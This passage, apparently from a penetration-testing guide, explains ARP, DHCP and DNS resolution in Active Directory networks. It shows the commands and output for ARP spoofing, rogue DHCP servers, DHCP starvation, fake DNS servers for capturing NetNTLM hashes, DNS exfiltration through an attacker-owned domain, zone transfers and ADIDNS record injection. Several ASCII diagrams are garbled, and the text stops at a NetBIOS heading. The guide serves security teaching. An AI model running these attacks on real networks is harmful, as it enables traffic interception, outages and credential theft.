📍 Address Resolution
From a security perspective, the resolution of address is quite relevant, since if a user/program can be tricked into connecting to an erroneous machine, therefore many attacks can be performed like:
- Person-in-The-Middle (PitM): This allows an attacker to intercept the communications of the victim and read/manipulate information (if it is not properly encrypted/signed) sent or received by the victim.
- NTLM Relay: An attacker can use an NTLM authentication from the victim and redirect it to a desired server in order to get access to it.
- NTLM crack: Even if you are not able to relay the NTLM authentication, you can try to crack the NTLM hash and recover the user password.
But, what addresses need to be resolved? There are three types of addresses that are used by machines:
🌐 MAC Address
The MAC (Media Control Access) is the address that uniquely identifies each computer in the world (concretely each computer network card). The MAC address is the one used to send messages in the Ethernet protocol, in the Link layer, that communicates the computers in the same network. Each network card has an associated unique MAC address that allows to identify it in a network. Usually the MAC address remains constant, but it can be changed. A MAC address is composed by 6 bytes like 01:df:67:89:a4:87, where the first 3 bytes indicates the MAC vendor and the last 3 are an unique identification for each network card of that vendor.
🌐 IP Address
The IP address is the one used by the IP protocol, in the Internet layer, that allows communication between computer of different networks. Unlike MAC addresses, the IPs are not configured in the network cards but need to be set by an external entity, by using a protocol like DHCP or setting an static IP address. So a computer can change its IP address at any time. While traversing the networks, the IP addresses need to be mapped to MAC addresses to allow communication inside of the different networks that route the packets. For this purpose, the ARP protocol is used. There are two versions of IP addresses, IPv4, that are composed by 4 bytes (32 bits) like 23.78.167.99,and IPv6, composed by 16 bytes like 2001:db8:85a3:8d3:1319:8a2e:370:7348. Usually IPv4 is used.
🌐 Hostnames
Since IP addresses are hard to remember, computers are also assigned a name that is more human-friendly like pepe-machine, known as hostname. However, since computers need the IP address to communicate, it is possible to associate the hostnames to IP addresses by using protocols like DNS, NetBIOS, LLMNR or mDNS.
Therefore, the following processes are vital for a computer to being able to find the correct address to communicate:
🔄 Hostname-IP Resolution
The computers need to be able to map the hostname of a machine to its correct IP address. For this purpose there are two strategies:
- Asking to a central server for the hostname resolution, which is the approach used by DNS. If an attacker can become the central server, it can map the hostnames to choose addresses.
- Sending a broadcast request with the hostname to peers asking to the computer with the given hostname to identify itself. This approach is used by protocols like NetBIOS, LLMNR or mDNS, where any computer in the network can respond to the request, so an attacker could listen waiting for requests and respond them identify itself as the target computer.
🔄 IP-MAC Resolution
Once the IP is identified, the computers need to know to which computer (network card) belongs that IP, so they ask for its MAC. For this they use the ARP protocol that works by sending a broadcast request to the internal network and waiting to the correct host to identify itself. The attacker could respond to the request identifying itself as the target to receive the connection.
🔄 IP Configuration
In order to use an IP and being able to find the central server to resolve IPs, computers need to be configured. This configuration can be done manually for each computer or it can be done by using a protocol like DHCP, where a server provides with configuration options to the computers of the network. However, since computers don't have anything configured when they talk with the DHCP server, they need to look blindly for it by sending broadcast requests that any other machine can respond. So there is an opportunity for an attacker to misconfigure it by responding to these requests and providing to the client fake configuration parameters, usually pointing to a DNS server controlled by the attacker.
So, let's see how address resolution can be attacked in Active Directory and other computer networks.
🔗 ARP
ARP (Address Resolution Protocol) is a link layer protocol heavily used in network that allows to map the relation between the IP address of a computer and its MAC (Media Access Control) address.
In order to do that, the client machine sends an Ethernet broadcast ARP request to the local network, asking for the one that has the target IP address. Then the computer with that IP should respond identifying its MAC. Finally the client sends the application packets to that Ethernet address.
.---. |
/ /| | .---.
.---. | 1) Who is 192.168.1.5? | / /|
| | ' >-------->>-------------------.-------> .---. |
| |/ | | | '
'---' <---------. | | |/
| | '---'
| |
| | .---.
| | / /|
| '-------> .---. |
| | | '
'-<<------------------------< | |/
2) I am 192.168.1.5 '---'
(MAC 01:02:03:04:05:06)
ARP Spoof
Even if usually is the correct computer the one that respond to the ARP request, it is possible for any computer to respond to it. So, an attacker could respond to all the ARP requests trying to impersonate other computers.
However, computers do not perform a ARP request any time they need to communicate with the target, but they keep the previous responses in a local ARP cache.
$ arp -n
Address HWtype HWaddress Flags Mask Iface
192.168.1.101 ether e4:fd:a1:09:bf:a1 C wlp1s0
192.168.1.1 ether 00:e0:4c:d8:ca:89 C wlp1s0
By keeping the ARP cache, computers reduce the number of request that it needs to perform. However, computers also listen ARP responses for changes without performing requests, so an attacker could send periodic replies in order to poison the victim ARP cache.
1) I am 192.168.1.1 1) I am 192.168.1.101
(MAC de:ad:be:ef:13:37) (MAC de:ad:be:ef:13:37)
.--------------<<<------------. .------------->>>---------------.
| | | |
v ^ ^ v
.---. 2) To 192.168.1.1 .---. 3) To 192.168.1.1 .---.
/ /| -------->>>---------> / /| -------->>>------------> / /|
.---. | .---. | .---. |
| | ' 5) To 192.168.1.101 | | ' 4) To 192.168.1.101 | | '
| |/ <-------<<<---------- | |/ <-------<<<------------- | |/
'---' '---' '---'
192.168.1.101 192.168.1.137 192.168.1.1
e4:fd:a1:09:bf:a1 de
be:ef:13:37 00:e0:4c:d8:ca:89
You can perform an ARP spoofing/poisoning attack with tools like ettercap, bettercap, arpspoof or arplayer.
$ ./arplayer spoof -I wlp1s0 -vvv -F -b 192.168.1.101 192.168.1.1
Spoofing - telling 192.168.1.101 (e4:fd:a1:09:bf:a1) that 192.168.1.1 is 00:e0:4c:d8:ca:89 (192.168.1.107) every 1.0 seconds (until Ctrl-C)
INFO - 192.168.1.1-de:ad:be:ef:13:37 -> 192.168.1.101-e4:fd:a1:09:bf:a1
INFO - 192.168.1.101-de:ad:be:ef:13:37 -> 192.168.1.1-00:e0:4c:d8:ca:89
INFO - 192.168.1.1-de:ad:be:ef:13:37 -> 192.168.1.101-e4:fd:a1:09:bf:a1
INFO - 192.168.1.101-de:ad:be:ef:13:37 -> 192.168.1.1-00:e0:4c:d8:ca:89
INFO - 192.168.1.1-de:ad:be:ef:13:37 -> 192.168.1.101-e4:fd:a1:09:bf:a1
INFO - 192.168.1.101-de:ad:be:ef:13:37 -> 192.168.1.1-00:e0:4c:d8:ca:89
ARP Scan
Other interesting possibility using ARP is to request all the IPs in the network in order to check the ARP responses and discover what hosts are active. This technique is known as ARP scan.
$ ./arplayer scan -I wlp1s0 -w 10 -t 1000
192.168.1.1 00:e0:4c:d8:ca:89
192.168.1.101 e4:fd:a1:09:bf:a1
📡 DHCP
DHCP (Dynamic Host Configuration Protocol) is a protocol that helps to configure dynamic IP addresses for the computers of a network. It is an application protocol that works over UDP. It uses the port 67/UDP in the server and requires the client to send the messages from the port 68/UDP.
client server
-----. .-----
| |
---. .------. .---
68/UDP |>---->| DHCP |>---->| 67/UDP
---' '------' '---
| |
-----' '-----
In DHCP, the new clients of the network search for the DHCP server to get a correct configuration that allows them to interact with the rest of the network. This process of configuration is divided in four phases:
- Server discovery: The client asks for a IP address by sending a broadcast message, to the 255.255.255.255 address or the network broadcast address, in order to reach the DHCP server.
- IP lease offer: The server answers (also to broadcast) with an IP address that offers to the client, as well as other configuration options.
- IP lease request: The client receives the offered IP and sends a message to request it.
- IP lease acknowledge: The server confirms that the client can use the choosen IP address. Also, it includes several configuration options like the IP renewal time.
This phases are usually abreviated as DORA (Discovery, Offer, Request, Acknowledge) and are triggered when a computer joins to a network. DHCP configuration can also be triggered manually with the dhclient command in Linux and ipconfig /renew in Windows.
client server
| |
| discovery |
| ----------> |
| |
| offer |
| <---------- |
| |
| request |
| ----------> |
| |
| acknowledge |
| <---------- |
| |
Between the many configuration options, the following can be interesting:
| Code | Name |
|---|---|
| 3 | Gateway IP (Router) |
| 6 | DNS server IP |
| 15 | Domain name |
| 44 | NetBIOS name (WINS) server IP |
| 54 | DHCP server IP |
| 252 | WPAD configuration file |
In order to check the options provided by the network DHCP server, in Windows you can examinate the configuration of your network interface (if its configured to use DHCP) with ipconfig /all. However, in Linux, different DHCP options configure different files, for example, to check the DNS server, you should check /etc/resolv.conf file, or use ip route to get the default gateway.
C:\Users\User>ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : ws01-10
Primary Dns Suffix . . . . . . . : etherdrake.local
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : etherdrake.local
Ethernet adapter Ethernet:
Connection-specific DNS Suffix . : etherdrake.local
Description . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection #2
Physical Address. . . . . . . . . : 52-54-00-76-87-BB
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
IPv4 Address. . . . . . . . . . . : 192.168.100.3(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Lease Obtained. . . . . . . . . . : 30 November 2020 12:20:13
Lease Expires . . . . . . . . . . : 08 December 2020 20:20:13
Default Gateway . . . . . . . . . : 192.168.100.2
DHCP Server . . . . . . . . . . . : 192.168.100.2
DNS Servers . . . . . . . . . . . : 192.168.100.2
Primary WINS Server . . . . . . . : 192.168.100.2
NetBIOS over Tcpip. . . . . . . . : Disabled
Additionally, you can check the options provided by the DHCP server with dhcplayer or the nmap script broadcast-dhcp-discover. However, root/admin privileges are required since source port 68 needs to be used.
root@debian10:~# nmap --script broadcast-dhcp-discover -e enp7s0
Starting Nmap 7.70 ( https://nmap.org ) at 2020-11-30 05:55 EST
Pre-scan script results:
| broadcast-dhcp-discover:
| Response 1 of 1:
| IP Offered: 192.168.100.7
| DHCP Message Type: DHCPOFFER
| Subnet Mask: 255.255.255.0
| Renewal Time Value: 4d00h00m00s
| Rebinding Time Value: 7d00h00m00s
| IP Address Lease Time: 8d00h00m00s
| Server Identifier: 192.168.100.2
| WPAD: http://isalocal.etherdrake.local:80/wpad.dat\x00
| Router: 192.168.100.2
| Name Server: 192.168.100.2
| Domain Name Server: 192.168.100.2
| Domain Name: etherdrake.local\x00
|_ NetBIOS Name Server: 192.168.100.2
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.52 seconds
Apart from enumeration, the DHCP protocol can also be abused to perform a couple of attacks:
- DHCP starvation/exhaustion
- Rogue DHCP server
Let's see how they work.
Rogue DHCP Server
Due to the descentralized nature of DHCP, any machine in the network can take the role of a DHCP server by answering to the client discovery/request messages. Therefore, an attacker could create a rogue DHCP server in order to set a custom configuration in the clients.
Between the options that are configured by a DHCP server are the following:
- Gateway/router
- DNS servers
- NetBIOS/WINS name servers
- WPAD
In this way, clients could be, among others things, misconfigured to send DNS request to a rogue DNS server, that could redirect them to fake computers or domains controlled by the attacker. In order to perform this kind of attack, it is possible to use tools like yersinia or dhcplayer.
$ dhcplayer server -I eth2 --wpad http://here.etherdrake.local/wpad.dat -v --domain etherdrake.local
INFO - IP pool: 192.168.100.1-192.168.100.254
INFO - Mask: 255.255.255.0
INFO - Broadcast: 192.168.100.255
INFO - DHCP: 192.168.100.44
INFO - DNS: [192.168.100.44]
INFO - Router: [192.168.100.44]
INFO - WPAD: http://here.etherdrake.local/wpad.dat
INFO - Domain: etherdrake.local
INFO - REQUEST from 52:54:00:5d:56:b9 (debian10)
INFO - Requested IP 192.168.100.145
INFO - ACK to 192.168.100.145 for 52:54:00:5d:56:b9
INFO - REQUEST from 52:54:00:76:87:bb (ws01-10)
INFO - Requested IP 192.168.100.160
INFO - ACK to 192.168.100.160 for 52:54:00:76:87:bb
DHCP Starvation
The DHCP starvation attack is a DOS attacks where a fake client requests all available IP addresses that a DHCP server offers. This way, the legitimate clients cannot obtain an IP address so must stay offline. It is possible to perform this attack by using tools like dhcpstarv, yersinia or dhcplayer.
$ dhcpstarv -i enp7s0
08:03:09 11/30/20: got address 192.168.100.7 for 00:16:36:99:be:21 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.8 for 00:16:36:25:1f:1d from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.9 for 00:16:36:c7:79:f2 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.10 for 00:16:36:f4:c3:e9 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.11 for 00:16:36:dc:51:a1 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.12 for 00:16:36:c2:c2:06 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.13 for 00:16:36:15:e0:74 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.14 for 00:16:36:40:1c:02 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.15 for 00:16:36:c5:9a:c3 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.16 for 00:16:36:14:1a:b3 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.17 for 00:16:36:13:45:14 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.18 for 00:16:36:14:fb:18 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.19 for 00:16:36:b2:93:90 from 192.168.100.2
08:03:09 11/30/20: got address 192.168.100.20 for 00:16:36:c7:38:f9 from 192.168.100.2
DHCP Discovery
Also DHCP can be interesting from the client point of view, since it could allow you to get some useful information about the environment, that what it is designed for.
You can sent a DISCOVER to message to the network and check what information is retrieved. Is a way to get information from an unauthenticated position, like the domain or the servers addresses, which usually are the Domain Controllers.
$ dhcplayer discover -I eth2 -n
OFFER received from 192.168.100.2
Offered IP: 192.168.100.3
Client MAC: 52:54:00:88:80:0c
DHCP Server: 192.168.100.2
Options:
[1] Subnet Mask: 255.255.255.0
[58] Renewal Time: 345600
[59] Rebinding Time: 604800
[51] IP Address Lease Time: 691200
[54] DHCP Server ID: 192.168.100.2
[3] Router: 192.168.100.2
[5] Name Server: 192.168.100.2
[6] Domain Server: 192.168.100.2
[15] Domain Name: etherdrake.local
[44] NetBIOS Name Server: 192.168.100.2
[77] Unknow: [0, 14, 82, 82, 65, 83, 46, 77, 105, 99, 114, 111, 115, 111, 102, 116, 0, 0, 0, 80, 0, 68, 0, 101, 0, 102, 0, 97, 0, 117, 0, 108, 0, 116, 0, 32, 0, 82, 0, 111, 0, 117, 0, 116, 0, 105, 0, 110, 0, 103, 0, 32, 0, 97, 0, 110, 0, 100, 0, 32, 0, 82, 0, 101, 0, 109, 0, 111, 0, 116, 0, 101, 0, 32, 0, 65, 0, 99, 0, 99, 0, 101, 0, 115, 0, 115, 0, 32, 0, 67, 0, 108, 0, 97, 0, 115, 0, 115, 0, 0, 0, 74, 0, 85, 0, 115, 0, 101, 0, 114, 0, 32, 0, 99, 0, 108, 0, 97, 0, 115, 0, 115, 0, 32, 0, 102, 0, 111, 0, 114, 0, 32, 0, 114, 0, 101, 0, 109, 0, 111, 0, 116, 0, 101, 0, 32, 0, 97, 0, 99, 0, 99, 0, 101, 0, 115, 0, 115, 0, 32, 0, 99, 0, 108, 0, 105, 0, 101, 0, 110, 0, 116, 0, 115, 0, 0]
[77] Unknow: [0, 15, 66, 79, 79, 84, 80, 46, 77, 105, 99, 114, 111, 115, 111, 102, 116, 0, 0, 40, 0, 68, 0, 101, 0, 102, 0, 97, 0, 117, 0, 108, 0, 116, 0, 32, 0, 66, 0, 79, 0, 79, 0, 84, 0, 80, 0, 32, 0, 67, 0, 108, 0, 97, 0, 115, 0, 115, 0, 0, 0, 58, 0, 85, 0, 115, 0, 101, 0, 114, 0, 32, 0, 99, 0, 108, 0, 97, 0, 115, 0, 115, 0, 32, 0, 102, 0, 111, 0, 114, 0, 32, 0, 66, 0, 79, 0, 79, 0, 84, 0, 80, 0, 32, 0, 67, 0, 108, 0, 105, 0, 101, 0, 110, 0, 116, 0, 115, 0, 0]
[252] WPAD: http://isalocal.etherdrake.local:80/wpad.dat
DHCP Dynamic DNS
In Active Directory you can ask (by default) to the DHCP server to create custom DNS A records based on the client hostname, that is indicated in the DHCP request. This can be very useful since you don't need any kind of authentication/authorization for performing this operation.
PS C:\> Get-DhcpServerv4DnsSetting
DynamicUpdates : OnClientRequest
DeleteDnsRROnLeaseExpiry : True
UpdateDnsRRForOlderClients : False
DnsSuffix :
DisableDnsPtrRRUpdate : False
NameProtection : False
A client can request a DNS update of DNS A record, it needs to include the Client FQDN (Fully Qualified Domain Name) option in the DHCP request with the "S" flag set to 1, along with the FQDN or hostname set. The server will return the same flag set to 1 if the update was done. The new A record will point the client hostname to the acquired IP address. You can request a DNS update by using dhcplayer with the --dns-update flag.
$ dhcplayer discover -I eth2 --dns-update -H hira
ACK received from 0.0.0.0
Acquired IP: 192.168.100.121
Client MAC: 52:54:00:88:80:0c
Options:
[58] Renewal Time: 345600
[59] Rebinding Time: 604800
[51] IP Address Lease Time: 691200
[54] DHCP Server ID: 192.168.100.240
[1] Subnet Mask: 255.255.255.0
[81] Client FQDN: flags: 0x1 (server-update) A-result: 255 PTR-result: 0
[3] Router: 192.168.100.240
[15] Domain Name: dongpo.su
[6] Domain Server: 192.168.100.240,192.168.100.240,192.168.100.2
$ nslookup hira.dongpo.su 192.168.100.240
Server: 192.168.100.240
Address: 192.168.100.240#53
Name: hira.dongpo.su
Address: 192.168.100.121
Since the DHCP will usually assign the same address to the same client (based on the client MAC), you can change the DNS record with multiple requests with different hostnames. Also, if no hostname is given, the DNS record will be deleted. It also will the delete when the DHCP lease expires.
However, there are certain DNS names that are protected by the DNS Global Query Block List (GQBL) from being resolved even if you add a DNS record. By default those are wpad and isatap.
🌍 DNS
DNS Basics
DNS (Domain Name System) is a system that defines hierarchical names for computer, services and other resources of the network. The DNS protocol is a client/server protocol in which the server listens on ports 53/UDP and 53/TCP.
DNS ---> | 53/UDP|TCP '---
DNS in mainly used to resolve the DNS name of a computer to its IP address.
/ /| ------------------> / /| .---. | .---. | | | ' 185.199.111.153 | | ' | |/ <------------------ | |/ '---' '---'
Apart from resolve names, DNS allows to perform other actions like mapping an IP to its name or resolving the aliases for a name. The client can perform different queries that the server will try to answer. In order to do this, the DNS servers keeps a collection of different records. Some types of records are the following:
- A: Maps a DNS name to an IPv4.
- AAAA: Maps a DNS name to an IPv6.
- CNAME (Canonical Name): Maps a DNS name known as alias to the original DNS name.
- DNAME: Maps a DNS subtree.
- NS (Name Server): Indicate a DNS server for a domain.
- PTR (Pointer): Maps an IP address to a DNS name (reverse lookup).
- SOA (Start of Authority): Contains administrative information about the DNS zone, such as the main DNS server or the mail of the administrator.
- SRV (Service): Indicates the host and port of a service.
root@debian10:~$ dig NS wikipedia.org
; <<>> DiG 9.16.6-Ubuntu <<>> NS wikipedia.org
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56753
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:
;wikipedia.org. IN NS
;; ANSWER SECTION:
wikipedia.org. 6704 IN NS ns1.wikimedia.org.
wikipedia.org. 6704 IN NS ns0.wikimedia.org.
wikipedia.org. 6704 IN NS ns2.wikimedia.org.
;; Query time: 0 msec
;; SERVER: 127.0.0.53#53(127.0.0.53)
;; WHEN: jue dic 03 10:14:07 CET 2020
;; MSG SIZE rcvd: 106
All of this records can be maintained by a DNS server (usually in a text file) in order to provide information for its DNS zone.
DNS Zones
DNS is hierarchical and it is divided in zones. Each zone keeps the records for a domain and its subdomains, with the exception of those subdomains that have their own zones. For example the etherdrake company could have the two following zones:
etherdrake.com
mail.etherdrake.com
www.etherdrake.com
Zone etherdrake.com
internal.etherdrake.com
it.internal.etherdrake.com
admin.internal.etherdrake.com
hr.internal.etherdrake.com
Zone internal.etherdrake.com
Each DNS zone is managed independently. This way it is easier to keep an order of the records. There are many different DNS zones all over the internet, each one for different domains and organizations. Therefore, DNS servers needs to communicate among them in order to provide information of other zones. For example, if you want to know the www.etherdrake.com IP address, your DNS server needs to communicate with etherdrake authoritative DNS server, that manages the etherdrake.com zone, in order to retrieve this information.
DNS Exfiltration
This way, the DNS protocol can be an excellent ally as exfiltration mechanism. There are certain situations where a server is in an isolated network and has no access to the internet, but it is allowed to perform DNS queries in order to work properly. If the local DNS server is misconfigured and performs recursive DNS requests to other DNS servers in the internet, this can be abused to bypass firewall rules and sending data to the outside.
/ /| websvr01.fake.com? / /| websvr01.fake.com? / /| .---. | --------local------> .---. | ------internet-----> .---. | | | ' | | ' | | ' | |/ 40.113.200.201 | |/ 40.113.200.201 | |/ '---' <------------------- '---' <------------------- '---'
For example, in case of possesing a DNS server for the domain fake.com, all the DNS queries for fake.com and its subdomains will reach our server. For example, if we want to exfiltrate the name of the isolated server, we can use it as subdomain and querying websvr01.fake.com. This query should pass through the local DNS server and reach our DNS server in the internet. To take advantage of this type of technique we can use a tool like iodine or dnscat2.
Fake DNS Server
Moreover, since DNS is so important to manage the resources of a network, it could be very useful to setup a fake DNS server, by using techniques like a rogue DHCP server.
With a fake DNS server we could redirect the requests of clients to a machines of our control in order to recolect NetNTLM hashes or just sniffing the network waiting for sensitive information that travels unprotected. We can use tools like dnschef or responder.py to create a fake DNS server.
$ dnschef -i 192.168.100.44 --fakeip 192.168.100.44
_ _ __
| | version 0.4 | | / _|
__| |_ __ ___ ___| |__ ___| |_
/ _` | '_ \/ __|/ __| '_ \ / _ \ _|
| (_| | | | \__ \ (__| | | | __/ |
\__,_|_| |_|___/\___|_| |_|\___|_|
iphelix@thesprawl.org
(12:29:51) [*] DNSChef started on interface: 192.168.100.44
(12:29:51) [*] Using the following nameservers: 8.8.8.8
(12:29:51) [*] Cooking all A replies to point to 192.168.100.44
(12:38:32) [*] 192.168.100.7: proxying the response of type 'PTR' for 44.100.168.192.in-addr.arpa
(12:38:32) [*] 192.168.100.7: cooking the response of type 'A' for aaa.etherdrake.local to 192.168.100.44
(12:38:32) [*] 192.168.100.7: proxying the response of type 'AAAA' for aaa.etherdrake.local
DNS Zone Transfer
Other interesting thing related with the zones management are the zone transfers. Zone transfers are used to replicate all the records of a DNS server into another DNS server, thus allow to keep updated both servers. However, in some cases a DNS server is misconfigured and allows to anyone to perform zone transfers.
In case of Active Directory, DNS zone transfers are not required to replicate DNS records between DCs (which are usually the DNS servers). However, they can be enabled in order to allow other DNS servers to replicate the DNS information.
The zone transfers can be configured by zone and DC, which means that maybe just one DC allows to perform the zone transfer whereas the rest of DCs refuse the zone transfer. In case of a misconfigured DC, anyone could perform zone transfers, thus recolecting all the DNS information without require any credentials. The followings commands can be used to carry out a DNS zone transfer:
- Linux:
dig axfr <DNSDomainName> @<DCAddress> - Windows: interactive
nslookupls -d <DNSDomainName>
root@debian10:~# dig axfr etherdrake.local @dc01.etherdrake.local
; <<>> DiG 9.11.5-P4-5.1+deb10u2-Debian <<>> axfr etherdrake.local @dc01.etherdrake.local
;; global options: +cmd
etherdrake.local. 3600 IN SOA dc01.etherdrake.local. hostmaster.etherdrake.local. 156 900 600 86400 3600
etherdrake.local. 600 IN A 192.168.100.3
etherdrake.local. 600 IN A 192.168.100.2
etherdrake.local. 3600 IN NS dc01.etherdrake.local.
etherdrake.local. 3600 IN NS dc02.etherdrake.local.
_gc._tcp.Default-First-Site-Name._sites.etherdrake.local. 600 IN SRV 0 100 3268 dc02.etherdrake.local.
_gc._tcp.Default-First-Site-Name._sites.etherdrake.local. 600 IN SRV 0 100 3268 dc01.etherdrake.local.
_kerberos._tcp.Default-First-Site-Name._sites.etherdrake.local. 600 IN SRV 0 100 88 dc02.etherdrake.local.
......................stripped output..................
PS C:\> nslookup
Default Server: UnKnown
Address: 192.168.100.2
> server dc01.etherdrake.local
Default Server: dc01.etherdrake.local
Addresses: 192.168.100.2
> ls -d etherdrake.local
[UnKnown]
etherdrake.local. SOA dc01.etherdrake.local hostmaster.etherdrake.local. (159 900 600 86400 3600)
etherdrake.local. A 192.168.100.3
etherdrake.local. A 192.168.100.2
etherdrake.local. NS dc02.etherdrake.local
etherdrake.local. NS dc01.etherdrake.local
_gc._tcp.Default-First-Site-Name._sites SRV priority=0, weight=100, port=3268, dc02.etherdrake.local
_gc._tcp.Default-First-Site-Name._sites SRV priority=0, weight=100, port=3268, dc01.etherdrake.local
_kerberos._tcp.Default-First-Site-Name._sites SRV priority=0, weight=100, port=88, dc02.etherdrake.local
......................stripped output..................
Dump DNS Records
Furthermore, even if zone transfers are not allowed, due to DNS records are stored in the Active Directory database, they can be read by using LDAP. Thus, any domain user can use the LDAP protocol to dump all the DNS records. For this purpose, the adidnsdump tool can be used (saves the results in records.csv) or the dns-dump.ps1 script.
root@debian10:~# adidnsdump -u etherdrake\\User etherdrake.local
Password:
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Querying zone for records
[+] Found 37 records
root@debian10:~# head records.csv
type,name,value
A,WS02-7,192.168.100.7
A,ws01-10,192.168.100.6
A,WIN-LBB9AO5FA13,192.168.100.6
A,win-4l1775e9t3u,192.168.100.2
A,ForestDnsZones,192.168.100.3
A,ForestDnsZones,192.168.122.254
A,ForestDnsZones,192.168.100.2
A,ForestDnsZones,192.168.122.111
A,DomainDnsZones,192.168.100.3
ADIDNS
Therefore, DNS is a pretty useful protocol, and of course, is used in Active Directory. The Active Directory implementation is ADIDNS (Active Directory Integrated DNS), where the role of DNS servers is mainly assumed by the DCs (Domain Controllers), since their databases contains the DNS names of the computers in the domain and the rest of DNS records. In Active Directory, the DNS is the preferred method to resolve names. The order of preference of resolving protocols is:
- DNS
- mDNS
- LLMNR
- NBNS
ADIDNS works similar to any other DNS implementations, but includes some special characteristics.
The main difference with other implementations is that DNS records are maintained in the Active Directory database, instead of using a text file. In this way DNS records are integrated like any other object, and take the advantage of Active Directory Domain Services such as automatic replication without requiring DNS zone transfers.
There DNS records can be stored in one of the following locations in the database:
- DomainDnsZones partition: This partition is replicated in the DCs of the domain. Records can be accessed through LDAP in the route
CN=MicrosoftDNS,DC=DomainDnsZones,DC=<domainpart>,DC=<domainpart>. - ForestDnsZones partition: This partition is replicated in all the DCs in the forest. Records can be accessed through LDAP in the route
CN=MicrosoftDNS,DC=DomainDnsZones,DC=<domainpart>,DC=<domainpart>. - Domain partition: In legacy systems, the DNS records where stored in this partition that it is replicated in the DCs of the domain. Records can be accessed through LDAP in the route
CN=MicrosoftDNS,CN=System,DC=<domainpart>,DC=<domainpart>.
For example, to access the DomainDnsZones partition through LDAP in etherdrake.local, the route would be CN=MicrosoftDNS,DC=DomainDnsZones,DC=etherdrake,DC=local.
As one of the special characteristics, apart from the usual DNS records, ADIDNS maintains special SRV records that allows to find certain resources in the network. This allows us to identify the DCs by querying to one of the following SRV records:
_gc._tcp.<DNSSDomainName>_kerberos._tcp.<DNSSDomainName>_kerberos._udp.<DNSSDomainName>_kpasswd._tcp.<DNSSDomainName>_kpasswd._udp.<DNSSDomainName>_ldap._tcp.<DNSSDomainName>_ldap._tcp.dc._msdcs.<DNSDomainName>
These records points to servers that provides Global Catalog (_gc), Kerberos (_kerberos and _kpasswd) and LDAP (_ldap) services in Active Directory, which are the Domain Controllers.
For example, you can get the DCs of etherdrake.local from Windows with nslookup -q=srv _ldap._tcp.dc._msdcs.etherdrake.local and from Linux with dig SRV _ldap._tcp.dc.etherdrake.local.
PS C:\> nslookup -q=srv _ldap._tcp.etherdrake.local
Server: ip6-localhost
Address: ::1
_ldap._tcp.etherdrake.local SRV service location:
priority = 0
weight = 100
port = 389
svr hostname = dc01.etherdrake.local
_ldap._tcp.etherdrake.local SRV service location:
priority = 0
weight = 100
port = 389
svr hostname = dc02.etherdrake.local
dc01.etherdrake.local internet address = 192.168.100.2
dc02.etherdrake.local internet address = 192.168.100.6
It is also posible to get the IPs of DCs by resolving the domain name <DNSDomainName>. Additionally, the primary DC can be discovered by querying to _ldap._tcp.pdc._msdcs.<DNSDomainName>.
DNS Dynamic Updates
Other interesting mechanism in DNS are the dynamic updates. Dynamic updates allows clients to create/modify/delete DNS records. In Active Directory by default only secured dynamic updates are allowed. This means that DNS records are protected by ACLs and only authorized users can modify then.
By default any user can create a new DNS record (the user becomes its owner) and only the owner can update or delete the DNS record. Therefore, access is denied if an user wants to create a DNS record that already exists. To create new DNS records through DNS dynamic updates the script Invoke-DNSUpdate.
PS C:\> Invoke-DNSUpdate -DNSType A -DNSName test -DNSData 192.168.100.100 -Verbose
VERBOSE: [+] Domain Controller = dc01.etherdrake.local
VERBOSE: [+] Domain = etherdrake.local
VERBOSE: [+] Kerberos Realm = etherdrake.local
VERBOSE: [+] DNS Zone = etherdrake.local
VERBOSE: [+] TKEY name 676-ms-7.1-0967.05293487-9821-11e7-4051-000c296694e0
VERBOSE: [+] Kerberos preauthentication successful
VERBOSE: [+] Kerberos TKEY query successful
[+] DNS update successful
PS C:\> nslookup test
Server: UnKnown
Address: 192.168.100.2
Name: test.etherdrake.local
Address: 192.168.100.100
If you are wondering how DNS can allow authenticated requests, this is achieved by using the TSIG (Transaction Signature) protocol, which requires the messages to be signed with a shared key between server and the client. In the case of Active Directory, this shared key is obtained by using the Kerberos protocol.
Back to the dynamic updates functionality, one interesting record to register is the wildcard record, *. The wildcard record is used to specify a default IP address that is used to resolve those queries that doesn't match any other record. Pretty useful to perform PitM attacks if it is used to point to a computer controlled by us. However, dynamic updates doesn't allow to register a wildcard record due to errors in the character handling.
Fortunately, since DNS records are stored in the Active Directory database, they can be created/modify/deleted by using LDAP. We can play with DNS records via LDAP with Powermad and dnstool.py. This technique can also be employed to recolect NetNTLM hashes with Inveigh. However, it is important to remember to delete the registered DNS records when finished in order to avoid causing network problems.
However, there are certain DNS names that are protected by the DNS Global Query Block List (GQBL) from being resolved even if you add a DNS record. By default those are wpad and isatap.
For more information about dynamic updates and the related attacks, you can check the following resources:
- Beyond LLMNR/NBNS Spoofing - Exploiting Active Directory-Integrated DNS
- ADIDNS Revisited - WPAD, GQBL, and More
📡 NetBIOS
